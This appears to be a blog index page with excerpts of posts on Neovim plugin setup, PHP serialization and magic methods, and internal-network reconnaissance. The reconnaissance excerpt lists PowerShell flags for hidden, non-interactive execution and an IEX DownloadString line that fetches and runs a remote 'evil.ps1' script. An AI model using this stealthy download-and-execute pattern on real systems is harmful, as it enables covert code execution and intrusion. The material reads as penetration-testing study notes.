Neovim, my favourite editor!

Some hotkey to operate vim

Use vim-plug in neovim

  • The neovim config file is in ~/.config/nvim/init.vim
    w
    we should create two directory

  • ~/.config/nvim/autoload

  • ~/.config/nvim/plugged

1
mkdir -p ~/.config/nvim/autoload ~/.config/nvim/plugged
1
2
# Download vim-plug
curl -fLo ~/.config/nvim/autoload/plug.vim https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
Read more

php 详解序列化及反序列化特征

概述

  • php 在定义一个数组,类等很多东西的时候,为了数据传递的方便,都可以对一个对象或者实例进行序列化

对一个数组进行序列化

1
2
3
4
5
6
7
8
<?php
$sites = array('Google', 'Runoob', 'Facebook');
$serialized_data = serialize($sites);
echo $serialized_data . PHP_EOL;
?>

//输出结果
a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
Read more

php 魔术方法总结

概述

PHP: 魔术方法 - Manual

  • php 魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作

__construct() 构造函数

  • 通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值
  • 在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法
Read more

简易内网信息收集

内网信息收集

辅助命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 隐藏窗口
-W Hidden
-WindowStyle Hidden

//非交互模式,不为用户提供交互提示
-NonI
-NonInteractive

//使用IEX(Invoke-Expression)进行远程脚本下载
-IEX(New-ObjectNet.WebClient).DownloadString("127.0.0.1/evil.ps1")

//不加载当前用户的配置文件
-NoP
-NoProfile

//显示logo的启动
-NoLogo

//执行后不退出shell,常用于键盘记录等
-noexit
Read more